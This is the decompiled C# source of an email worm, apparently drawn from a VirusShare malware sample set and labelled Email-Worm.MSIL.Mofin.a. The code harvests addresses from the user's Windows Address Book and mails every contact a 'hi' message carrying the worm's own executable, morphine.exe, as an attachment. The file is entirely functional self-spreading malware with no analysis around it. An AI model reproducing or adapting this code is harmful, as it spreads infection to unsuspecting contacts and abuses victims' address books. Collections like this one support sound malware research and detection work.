// Decompiled with JetBrains decompiler
// Type: morphine
// Assembly: morphine, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F0E102F2-BABF-44AE-B535-A66C5781349C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Worm.MSIL.Mofin.a-ccfa30bdcb8041c6e1b24544d159b59bd5119ffa92cdd82b36847cf1b379025c.exe

using Microsoft.Win32;
using System;
using System.IO;
using System.Text;
using System.Web.Mail;

internal class morphine
{
  public static void main()
  {
    RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\WAB\\WAB4\\Wab File Name");
    if (registryKey == null)
      return;
    string path = (string) registryKey.GetValue("");
    if (path == null)
      return;
    registryKey.Close();
    FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read);
    // ISSUE: explicit non-virtual call
    int int32_1 = Convert.ToInt32(__nonvirtual (fileStream.Length));
    byte[] numArray = new byte[int32_1];
    // ISSUE: explicit non-virtual call
    __nonvirtual (fileStream.Read(numArray, 0, int32_1));
    // ISSUE: explicit non-virtual call
    __nonvirtual (fileStream.Close());
    int int32_2 = BitConverter.ToInt32(numArray, 100);
    if (int32_2 == 0)
      return;
    int int32_3 = BitConverter.ToInt32(numArray, 96);
    do
    {
      // ISSUE: explicit non-virtual call
      string str1 = __nonvirtual (Encoding.Unicode.GetString(numArray, int32_3, 68));
      int startIndex = str1.IndexOf(char.MinValue);
      string str2 = str1.Remove(startIndex, 34 - startIndex);
      MailMessage message = new MailMessage();
      message.Subject = "hi";
      message.To = str2;
      message.Body = "hi";
      message.BodyFormat = MailFormat.Text;
      message.Priority = MailPriority.High;
      MailAttachment mailAttachment = new MailAttachment(Directory.GetCurrentDirectory() + "\\morphine.exe", MailEncoding.Base64);
      message.Attachments.Add((object) mailAttachment);
      SmtpMail.Send(message);
      int32_3 += 68;
      --int32_2;
    }
    while (int32_2 > 0);
  }
}
